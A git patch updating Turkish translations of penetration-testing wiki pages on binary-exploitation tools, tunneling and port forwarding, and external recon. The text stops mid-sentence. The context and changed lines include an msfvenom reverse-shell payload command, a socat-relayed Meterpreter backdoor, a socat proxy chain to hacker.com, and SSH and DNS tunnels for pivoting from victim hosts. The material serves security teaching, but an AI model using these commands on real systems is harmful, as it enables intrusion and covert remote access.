From 4ecd9ad6b940c4e0221a0491714fff92a432abf3 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 5 Jan 2025 21:04:10 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met --- .../tools/README.md | 38 ++-- .../tunneling-and-port-forwarding.md | 46 ++-- .../external-recon-methodology/README.md | 136 ++++++------ .../pentesting-methodology.md | 40 ++-- .../phishing-documents.md | 22 +- .../escaping-from-gui-applications.md | 138 ++++++------ .../privilege-escalation/README.md | 190 ++++++++-------- .../9200-pentesting-elasticsearch.md | 32 +-- .../pentesting-ftp/README.md | 26 +-- .../README.md | 42 ++-- .../iis-internet-information-services.md | 30 +-- .../pentesting-web/php-tricks-esp/README.md | 42 ++-- .../pentesting-web/put-method-webdav.md | 16 +- src/pentesting-web/clickjacking.md | 16 +- .../exploiting-__viewstate-parameter.md | 58 +++-- src/pentesting-web/email-injections.md | 24 +- src/pentesting-web/file-inclusion/README.md | 70 +++--- src/pentesting-web/ldap-injection.md | 12 +- src/pentesting-web/open-redirect.md | 4 +- src/pentesting-web/saml-attacks/README.md | 46 ++-- src/pentesting-web/sql-injection/README.md | 44 ++-- ...and-ntlm-chanllenge-response-disclosure.md | 22 +- ...ble-stylesheet-language-transformations.md | 16 +- .../xss-cross-site-scripting/README.md | 132 +++++------ .../xxe-xee-xml-external-entity.md | 94 ++++---- .../cheat-engine.md | 44 ++-- src/todo/hardware-hacking/radio.md | 72 +++--- .../1.-tokenizing.md | 30 +-- .../active-directory-methodology/README.md | 162 +++++++------- .../printers-spooler-service-abuse.md | 22 +- src/windows-hardening/ntlm/README.md | 36 +-- .../README.md | 208 +++++++----------- 32 files changed, 935 insertions(+), 975 deletions(-) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index ae25213e3..ad2657535 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -10,7 +10,7 @@ nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` -### Shellkodlar +### Shellcodlar ```bash msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` @@ -74,7 +74,7 @@ x/i $eip # Instructions of the EIP ``` ### [GEF](https://github.com/hugsy/gef) -İsterseniz, daha ilginç talimatlar içeren [**bu GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) çatısını kullanabilirsiniz. +İsterseniz [**bu GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) çatısını kullanabilirsiniz; bu, daha ilginç talimatlar içermektedir. ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -121,18 +121,18 @@ gef➤ pattern search 0x6261617762616176 #### GDB aynı adresler -Hata ayıklama sırasında GDB, **çalıştırıldığında ikili dosya tarafından kullanılan adreslerden biraz farklı adreslere sahip olacaktır.** GDB'nin aynı adreslere sahip olmasını sağlamak için: +GDB hata ayıklarken **çalıştırılan ikili dosya ile kullanılan adreslerden biraz farklı adreslere sahip olacaktır.** GDB'nin aynı adreslere sahip olmasını sağlamak için: - `unset env LINES` - `unset env COLUMNS` - `set env _=` _İkili dosyanın mutlak yolunu koyun_ - İkili dosyayı aynı mutlak yol ile istismar edin -- `PWD` ve `OLDPWD`, GDB kullanırken ve ikili dosyayı istismar ederken aynı olmalıdır +- `PWD` ve `OLDPWD` GDB kullanırken ve ikili dosyayı istismar ederken aynı olmalıdır #### Fonksiyonları bulmak için geri izleme Eğer bir **statik bağlı ikili dosya** varsa, tüm fonksiyonlar ikili dosyaya ait olacaktır (ve dış kütüphanelere değil). Bu durumda, **ikili dosyanın kullanıcı girişi istemek için izlediği akışı tanımlamak zor olacaktır.**\ -Bu akışı, **gdb** ile ikili dosyayı çalıştırarak kolayca tanımlayabilirsiniz, ta ki sizden giriş istenene kadar. Ardından, **CTRL+C** ile durdurun ve çağrılan fonksiyonları görmek için **`bt`** (**geri izleme**) komutunu kullanın: +Bu akışı kolayca tanımlayabilirsiniz **gdb** ile ikili dosyayı çalıştırarak, girdi istenene kadar. Ardından, **CTRL+C** ile durdurun ve çağrılan fonksiyonları görmek için **`bt`** (**geri izleme**) komutunu kullanın: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -143,15 +143,15 @@ gef➤ bt ``` ### GDB sunucusu -`gdbserver --multi 0.0.0.0:23947` (IDA'da, Linux makinesindeki çalıştırılabilir dosyanın mutlak yolunu ve Windows makinesindeki yolu doldurmalısınız) +`gdbserver --multi 0.0.0.0:23947` (IDA'da Linux makinesindeki çalıştırılabilir dosyanın mutlak yolunu ve Windows makinesindeki yolu doldurmalısınız) ## Ghidra ### Yığın ofsetini bul -**Ghidra**, **yerel değişkenlerin konumu hakkında bilgi sayesinde bir **buffer overflow** için **ofset** bulmakta çok kullanışlıdır.**\ -Örneğin, aşağıdaki örnekte, `local_bc`'deki bir buffer akışı, `0xbc` ofsetine ihtiyaç duyduğunuzu gösterir. Ayrıca, `local_10` bir canary cookie ise, `local_bc`'den üzerine yazmak için `0xac` ofsetine ihtiyaç olduğunu gösterir.\ -&#xNAN;_Remember, RIP'in kaydedildiği ilk 0x08'in RBP'ye ait olduğunu unutmayın._ +**Ghidra**, **yerel değişkenlerin konumu hakkında bilgi sayesinde bir **buffer overflow** için **ofset** bulmak için çok kullanışlıdır.**\ +Örneğin, aşağıdaki örnekte, `local_bc`'deki bir buffer akışı, `0xbc` ofsetine ihtiyaç duyduğunuzu gösterir. Ayrıca, `local_10` bir canary cookie ise, `local_bc`'den onu geçersiz kılmak için `0xac` ofsetine ihtiyaç olduğunu gösterir.\ +_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ ![](<../../../images/image (1061).png>) @@ -164,8 +164,8 @@ Herhangi bir opcode'u programda çalıştırın. ## GCC **gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Korumasız derleme\ -&#xNAN;**-o** --> Çıktı\ -&#xNAN;**-g** --> Kodu kaydet (GDB bunu görebilecek)\ +**-o** --> Çıktı\ +**-g** --> Kodu kaydet (GDB bunu görebilecek)\ **echo 0 > /proc/sys/kernel/randomize_va_space** --> Linux'ta ASLR'yi devre dışı bırakmak için **Bir shellcode derlemek için:**\ @@ -175,13 +175,13 @@ Herhangi bir opcode'u programda çalıştırın. ## Objdump **-d** --> **Çalıştırılabilir** bölümleri ayrıştır (derlenmiş bir shellcode'un opcodlarını gör, ROP Gadget'ları bul, fonksiyon adresini bul...)\ -&#xNAN;**-Mintel** --> **Intel** sözdizimi\ -&#xNAN;**-t** --> **Semboller** tablosu\ -&#xNAN;**-D** --> **Tümünü ayrıştır** (statik değişkenin adresi)\ -&#xNAN;**-s -j .dtors** --> dtors bölümü\ -&#xNAN;**-s -j .got** --> got bölümü\ --D -s -j .plt --> **plt** bölümü **dekompile edildi**\ -&#xNAN;**-TR** --> **Yeniden yerleştirmeler**\ +**-Mintel** --> **Intel** sözdizimi\ +**-t** --> **Semboller** tablosu\ +**-D** --> **Tümünü ayrıştır** (statik değişkenin adresi)\ +**-s -j .dtors** --> dtors bölümü\ +**-s -j .got** --> got bölümü\ +-D -s -j .plt --> **plt** bölümü **decompile edildi**\ +**-TR** --> **Yeniden konumlandırmalar**\ **ojdump -t --dynamic-relo ./exec | grep puts** --> GOT'da değiştirilmesi gereken "puts" adresi\ **objdump -D ./exec | grep "VAR_NAME"** --> Statik bir değişkenin adresi (bunlar DATA bölümünde saklanır). @@ -210,7 +210,7 @@ Herhangi bir opcode'u programda çalıştırın. ### Uzak linux'ta hata ayıklama -IDA klasörü içinde, bir ikili dosyayı linux içinde hata ayıklamak için kullanılabilecek ikili dosyalar bulabilirsiniz. Bunu yapmak için `linux_server` veya `linux_server64` ikili dosyasını linux sunucusuna taşıyın ve ikili dosyanın bulunduğu klasörde çalıştırın: +IDA klasörü içinde bir linux içinde bir ikili dosyayı hata ayıklamak için kullanılabilecek ikili dosyaları bulabilirsiniz. Bunu yapmak için `linux_server` veya `linux_server64` ikili dosyasını linux sunucusuna taşıyın ve ikili dosyanın bulunduğu klasörde çalıştırın: ``` ./linux_server64 -Ppass ``` diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index a92ddf353..bbf892348 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -5,7 +5,7 @@ ## Nmap ipucu > [!WARNING] -> **ICMP** ve **SYN** taramaları socks proxy'leri üzerinden tünellenemez, bu nedenle **ping keşfini devre dışı bırakmalıyız** (`-Pn`) ve bunun çalışması için **TCP taramalarını** (`-sT`) belirtmeliyiz. +> **ICMP** ve **SYN** taramaları socks proxy'leri üzerinden tünellenemez, bu nedenle **ping keşfini devre dışı bırakmalıyız** (`-Pn`) ve bunun çalışması için **TCP taramaları** (`-sT`) belirtmeliyiz. ## **Bash** @@ -31,7 +31,7 @@ SSH grafik bağlantısı (X) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` -### Yerel Port2Port +### Local Port2Port SSH Sunucusunda Yeni Port Aç --> Diğer port ```bash @@ -43,7 +43,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in ``` ### Port2Port -Yerel port --> Ele geçirilmiş ana bilgisayar (SSH) --> Üçüncü_kutu:Port +Yerel port --> Ele geçirilmiş host (SSH) --> Üçüncü_kutu:Port ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example @@ -57,7 +57,7 @@ ssh -f -N -D @ #All sent to local port ``` ### Ters Port Yönlendirme -Bu, DMZ üzerinden iç hostlardan kendi hostunuza ters shell almak için faydalıdır: +Bu, iç hostlardan DMZ üzerinden kendi hostunuza ters shell almak için faydalıdır: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000 @@ -68,7 +68,7 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN ``` ### VPN-Tüneli -Her iki cihazda da **root'a ihtiyacınız var** (çünkü yeni arayüzler oluşturacaksınız) ve sshd yapılandırması root girişine izin vermelidir:\ +Her iki cihazda da **root erişimine** ihtiyacınız var (çünkü yeni arayüzler oluşturacaksınız) ve sshd yapılandırmasının root girişine izin vermesi gerekiyor:\ `PermitRootLogin yes`\ `PermitTunnel yes` ```bash @@ -78,7 +78,7 @@ ifconfig tun0 up #Activate the client side network interface ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ifconfig tun0 up #Activate the server side network interface ``` -Sunucu tarafında yönlendirmeyi etkinleştir. +Sunucu tarafında yönlendirmeyi etkinleştir ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE @@ -104,7 +104,7 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' ### Port2Port -Yerel port --> Ele geçirilmiş ana bilgisayar (aktif oturum) --> Üçüncü_kutu:Port +Yerel port --> Ele geçirilmiş host (aktif oturum) --> Üçüncü_kutu:Port ```bash # Inside a meterpreter session portfwd add -l -p -r @@ -145,15 +145,15 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ### rPort2Port > [!WARNING] -> Bu durumda, **port beacon ana bilgisayarında açılır**, Team Server'da değil ve trafik Team Server'a gönderilir ve oradan belirtilen host:port'a iletilir. +> Bu durumda, **port beacon host'ta açılır**, Team Server'da değil ve trafik Team Server'a gönderilir ve oradan belirtilen host:port'a iletilir. ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` -Not etmek gerekir: +Not edilmesi gerekenler: -- Beacon'ın ters port yönlendirmesi, **bireysel makineler arasında iletim için değil, Trafiği Team Server'a tünellemek için tasarlanmıştır**. -- Trafik, **Beacon'ın C2 trafiği içinde tünellenir**, P2P bağlantıları dahil. +- Beacon'ın ters port yönlendirmesi, **bireysel makineler arasında iletim için değil, Team Server'a trafik tünellemek için tasarlanmıştır**. +- Trafik, **Beacon'ın C2 trafiği içinde tünellenir**, P2P bağlantıları da dahil. - Yüksek portlarda ters port yönlendirmeleri oluşturmak için **yönetici ayrıcalıkları gerekmez**. ### rPort2Port yerel @@ -174,7 +174,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t ``` ## Chisel -Bunu [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) adresindeki sürümler sayfasından indirebilirsiniz.\ +[https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) adresinin sürümler sayfasından indirebilirsiniz.\ **İstemci ve sunucu için aynı sürümü kullanmalısınız.** ### socks @@ -276,7 +276,7 @@ socat TCP4-LISTEN:,fork TCP4:: & ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` -### Meterpreter SSL Socat Üzerinden +### Meterpreter üzerinden SSL Socat ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 @@ -290,11 +290,13 @@ Bir **kimlik doğrulaması yapılmamış proxy**'yi, kurbanın konsolundaki son ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` +[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) + ### SSL Socat Tüneli **/bin/sh konsolu** -Her iki tarafta da sertifikalar oluşturun: İstemci ve Sunucu +Her iki tarafta da: İstemci ve Sunucu için sertifikalar oluşturun ```bash # Execute these commands on both sides FILENAME=socatssl @@ -352,13 +354,13 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -Artık **`mstsc.exe`** kullanarak **RDP** üzerinden **kurban** ile **bağlanabiliriz** ve **SocksOverRDP eklentisinin etkin olduğu** ve **127.0.0.1:1080** adresinde **dinleyeceği** ile ilgili bir **istem** alacağız. +Artık **`mstsc.exe`** kullanarak **RDP** üzerinden **kurban** ile **bağlanabiliriz** ve **SocksOverRDP eklentisinin etkin olduğu** belirten bir **istem** alacağız ve bu **127.0.0.1:1080** adresinde **dinleyecektir**. **RDP** üzerinden **bağlanın** ve kurban makinesine `SocksOverRDP-Server.exe` ikili dosyasını yükleyip çalıştırın: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` -Şimdi makinenizde (saldırgan) 1080 numaralı portun dinlendiğini doğrulayın: +Şimdi makinenizde (saldırgan) 1080 numaralı portun dinlediğini doğrulayın: ``` netstat -antb | findstr 1080 ``` @@ -390,12 +392,12 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` -Şimdi, örneğin kurban üzerinde **SSH** hizmetini 443 numaralı portta dinleyecek şekilde ayarlarsanız. Saldırgan 2222 numaralı port üzerinden buna bağlanabilirsiniz.\ +Şimdi, örneğin kurbanın **SSH** hizmetini 443 numaralı portta dinleyecek şekilde ayarlarsanız. Saldırgan 2222 numaralı port üzerinden buna bağlanabilirsiniz.\ Ayrıca, localhost:443'e bağlanan bir **meterpreter** kullanabilir ve saldırgan 2222 numaralı portta dinliyor olabilir. ## YARP -Microsoft tarafından oluşturulan bir ters proxy. Bunu burada bulabilirsiniz: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) +Microsoft tarafından oluşturulmuş bir ters proxy. Bunu burada bulabilirsiniz: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) ## DNS Tünelleme @@ -409,7 +411,7 @@ attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` -Tünel çok yavaş olacaktır. Bu tünel üzerinden sıkıştırılmış bir SSH bağlantısı oluşturmak için: +Tünel çok yavaş olacaktır. Bu tünel üzerinden sıkıştırılmış bir SSH bağlantısı oluşturmak için şunu kullanabilirsiniz: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` @@ -440,7 +442,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b ``` #### Proxychains DNS'ini Değiştir -Proxychains `gethostbyname` libc çağrısını keser ve tcp DNS isteğini socks proxy üzerinden tüneller. **Varsayılan** olarak proxychains'in kullandığı **DNS** sunucusu **4.2.2.2**'dir (hardcoded). Bunu değiştirmek için dosyayı düzenleyin: _/usr/lib/proxychains3/proxyresolv_ ve IP'yi değiştirin. **Windows ortamında** iseniz, **domain controller**'ın IP'sini ayarlayabilirsiniz. +Proxychains, `gethostbyname` libc çağrısını keser ve tcp DNS isteğini socks proxy üzerinden tüneller. **Varsayılan** olarak proxychains'in kullandığı **DNS** sunucusu **4.2.2.2**'dir (hardcoded). Bunu değiştirmek için dosyayı düzenleyin: _/usr/lib/proxychains3/proxyresolv_ ve IP'yi değiştirin. **Windows ortamında** iseniz, **domain controller**'ın IP'sini ayarlayabilirsiniz. ## Go'da Tüneller @@ -477,8 +479,8 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ``` ## ngrok -[**ngrok**](https://ngrok.com/) **çözümleri tek bir komut satırıyla internete açmak için bir araçtır.**\ -&#xNAN;_Exposition URI şunlar gibidir:_ **UID.ngrok.io** +[**ngrok**](https://ngrok.com/) **bir komut satırı ile çözümleri internete açmak için bir araçtır.**\ +_Exposition URI'leri şunlar gibidir:_ **UID.ngrok.io** ### Kurulum diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index 2a4fd18f7..d7f77beff 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -27,8 +27,8 @@ Otonom sistem numarası (**ASN**), **Internet Assigned Numbers Authority (IANA)* Bir **AS**, dış ağlara erişim için belirgin bir politikaya sahip olan ve tek bir organizasyon tarafından yönetilen **IP adresleri blokları** içerir, ancak birden fazla operatörden oluşabilir. **Şirketin herhangi bir ASN atayıp atamadığını** bulmak, **IP aralıklarını** bulmak için ilginçtir. Kapsam içindeki tüm **hostlar** üzerinde bir **zafiyet testi** gerçekleştirmek ve bu IP'ler içindeki **alan adlarını** aramak ilginç olacaktır.\ -[**https://bgp.he.net/**](https://bgp.he.net) adresinde şirket **adı**, **IP** veya **alan adı** ile **arama** yapabilirsiniz.\ -**Şirketin bulunduğu bölgeye bağlı olarak, bu bağlantılar daha fazla veri toplamak için faydalı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her neyse, muhtemelen tüm** yararlı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünmektedir. +**Şirket adı**, **IP** veya **alan adı** ile [**https://bgp.he.net/**](https://bgp.he.net)**'de** arama yapabilirsiniz.\ +**Şirketin bulunduğu bölgeye bağlı olarak, bu bağlantılar daha fazla veri toplamak için faydalı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her neyse, muhtemelen tüm** faydalı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünmektedir. ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla @@ -77,33 +77,33 @@ dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` -For this to work, the administrator has to enable manually the PTR.\ -You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com) +Bu işlemin çalışması için, yöneticinin PTR'yi manuel olarak etkinleştirmesi gerekir.\ +Bu bilgi için çevrimiçi bir araç da kullanabilirsiniz: [http://ptrarchive.com/](http://ptrarchive.com) -### **Reverse Whois (loop)** +### **Ters Whois (döngü)** -Inside a **whois** you can find a lot of interesting **bilgiler** like **organizasyon adı**, **adres**, **e-postalar**, telefon numaraları... Ama daha da ilginç olanı, **bu alanlardan herhangi biriyle ters whois sorguları** yaparsanız **şirketle ilgili daha fazla varlık** bulabilirsiniz (örneğin, aynı e-postanın göründüğü diğer whois kayıtları).\ -You can use online tools like: +Bir **whois** içinde **kuruluş adı**, **adres**, **e-postalar**, telefon numaraları gibi birçok ilginç **bilgi** bulabilirsiniz... Ancak daha da ilginç olan, bu alanlardan herhangi biriyle **ters whois sorguları** yaparsanız **şirketle ilgili daha fazla varlık** bulabilmenizdir (örneğin, aynı e-postanın göründüğü diğer whois kayıtları).\ +Aşağıdaki çevrimiçi araçları kullanabilirsiniz: - [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Ücretsiz** - [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Ücretsiz** - [https://www.reversewhois.io/](https://www.reversewhois.io) - **Ücretsiz** -- [https://www.whoxy.com/](https://www.whoxy.com) - **Ücretsiz** web, ücretsiz API değil. +- [https://www.whoxy.com/](https://www.whoxy.com) - **Ücretsiz** web, ücretsiz olmayan API. - [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Ücretsiz değil - [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretsiz Değil (sadece **100 ücretsiz** arama) - [https://www.domainiq.com/](https://www.domainiq.com) - Ücretsiz Değil -You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\ -You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` +Bu görevi [**DomLink** ](https://github.com/vysecurity/DomLink) kullanarak otomatikleştirebilirsiniz (bir whoxy API anahtarı gerektirir).\ +Ayrıca [amass](https://github.com/OWASP/Amass) ile bazı otomatik ters whois keşifleri gerçekleştirebilirsiniz: `amass intel -d tesla.com -whois` -**Note that you can use this technique to discover more domain names every time you find a new domain.** +**Yeni bir alan adı bulduğunuzda daha fazla alan adı keşfetmek için bu tekniği kullanabileceğinizi unutmayın.** -### **Trackers** +### **İzleyiciler** -If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\ -For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages. +Eğer 2 farklı sayfada **aynı izleyicinin aynı ID'sini** bulursanız, **her iki sayfanın** da **aynı ekip tarafından yönetildiğini** varsayabilirsiniz.\ +Örneğin, birkaç sayfada aynı **Google Analytics ID'sini** veya aynı **Adsense ID'sini** görüyorsanız. -There are some pages and tools that let you search by these trackers and more: +Bu izleyicilerle ve daha fazlasıyla arama yapmanıza olanak tanıyan bazı sayfalar ve araçlar vardır: - [**Udon**](https://github.com/dhn/udon) - [**BuiltWith**](https://builtwith.com) @@ -113,20 +113,20 @@ There are some pages and tools that let you search by these trackers and more: ### **Favicon** -Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it: +Aynı favicon simgesi hash'ini arayarak hedefimize ait ilgili alan adlarını ve alt alan adlarını bulabileceğimizi biliyor muydunuz? Bu, [@m4ll0k2](https://twitter.com/m4ll0k2) tarafından yapılan [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) aracının tam olarak yaptığı şeydir. İşte nasıl kullanacağınız: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s ``` ![favihash - aynı favicon simgesi hash'ine sahip alan adlarını keşfedin](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) -Basitçe söylemek gerekirse, favihash hedefimizle aynı favicon simgesi hash'ine sahip alan adlarını keşfetmemizi sağlar. +Basitçe söylemek gerekirse, favihash, hedefimizle aynı favicon simgesi hash'ine sahip alan adlarını keşfetmemizi sağlar. -Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Yani, eğer bir web teknolojisinin savunmasız bir sürümünün **favicon'unun hash'ini** biliyorsanız, shodan'da arama yapabilir ve **daha fazla savunmasız yer bulabilirsiniz**: +Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, bu [**blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Yani, eğer bir web teknolojisinin savunmasız bir sürümünün **favicon hash'ini** biliyorsanız, shodan'da arama yapabilir ve **daha fazla savunmasız yer bulabilirsiniz**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` -Bu, bir web'in **favicon hash'ini nasıl hesaplayabileceğinizdir:** +Bu, bir web'in **favicon hash'ini nasıl hesaplayabileceğinizdir**: ```python import mmh3 import requests @@ -150,16 +150,16 @@ Bir cron işi olması yaygındır. # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` -sunucudaki tüm alan adı sertifikalarını yenilemek. Bu, bu işlem için kullanılan CA'nın geçerlilik süresinde oluşturulma zamanını ayarlamaması durumunda bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alan adlarını bulmanın mümkün olduğu** anlamına gelir.\ +sunucudaki tüm alan adı sertifikalarını yenilemek. Bu, bunun için kullanılan CA'nın geçerlilik süresinde oluşturulma zamanını ayarlamaması durumunda bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alan adlarını bulmanın mümkün olduğunu** gösterir.\ Daha fazla bilgi için bu [**yazıya göz atın**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). ### Mail DMARC bilgileri -**DMARC bilgilerini paylaşan alan adlarını ve alt alan adlarını bulmak için** [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) gibi bir web sitesi veya [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) gibi bir araç kullanabilirsiniz. +**DMARC bilgilerini paylaşan alan adlarını ve alt alan adlarını** bulmak için [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) gibi bir web sitesi veya [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) gibi bir araç kullanabilirsiniz. ### **Pasif Ele Geçirme** -Görünüşe göre, insanların alt alan adlarını bulut sağlayıcılarına ait IP'lere ataması ve bir noktada **o IP adresini kaybetmesi ama DNS kaydını silmeyi unutmaları** yaygındır. Bu nedenle, sadece **bir VM oluşturmak** (örneğin Digital Ocean'da) aslında **bazı alt alan adlarını ele geçireceksiniz**. +Görünüşe göre, insanların alt alan adlarını bulut sağlayıcılarına ait IP'lere ataması ve bir noktada **o IP adresini kaybetmesi ama DNS kaydını silmeyi unutmaları** yaygındır. Bu nedenle, sadece bir bulutta (örneğin Digital Ocean) **bir VM oluşturmak**, aslında **bazı alt alan adlarını ele geçirmek** anlamına gelir. [**Bu yazı**](https://kmsec.uk/blog/passive-takeover/) bununla ilgili bir hikaye anlatıyor ve **DigitalOcean'da bir VM oluşturan**, **yeni makinenin** **IPv4'ünü alan** ve **Virustotal'da ona işaret eden alt alan adı kayıtlarını arayan** bir script öneriyor. @@ -169,33 +169,33 @@ Görünüşe göre, insanların alt alan adlarını bulut sağlayıcılarına ai **Shodan** -IP alanına sahip olan kuruluşun adını zaten bildiğiniz için, bu veriyi shodan'da arayabilirsiniz: `org:"Tesla, Inc."` Bulunan hostları TLS sertifikasında yeni beklenmedik alan adları için kontrol edin. +IP alanına sahip olan kuruluşun adını zaten bildiğiniz için, shodan'da bu veriyi kullanarak arama yapabilirsiniz: `org:"Tesla, Inc."` Bulunan hostları TLS sertifikasında yeni beklenmedik alan adları için kontrol edin. -Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikalarında** o adı arayabilirsiniz: `ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz. +Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikalarında** o adı arayabilirsiniz, filtre ile: 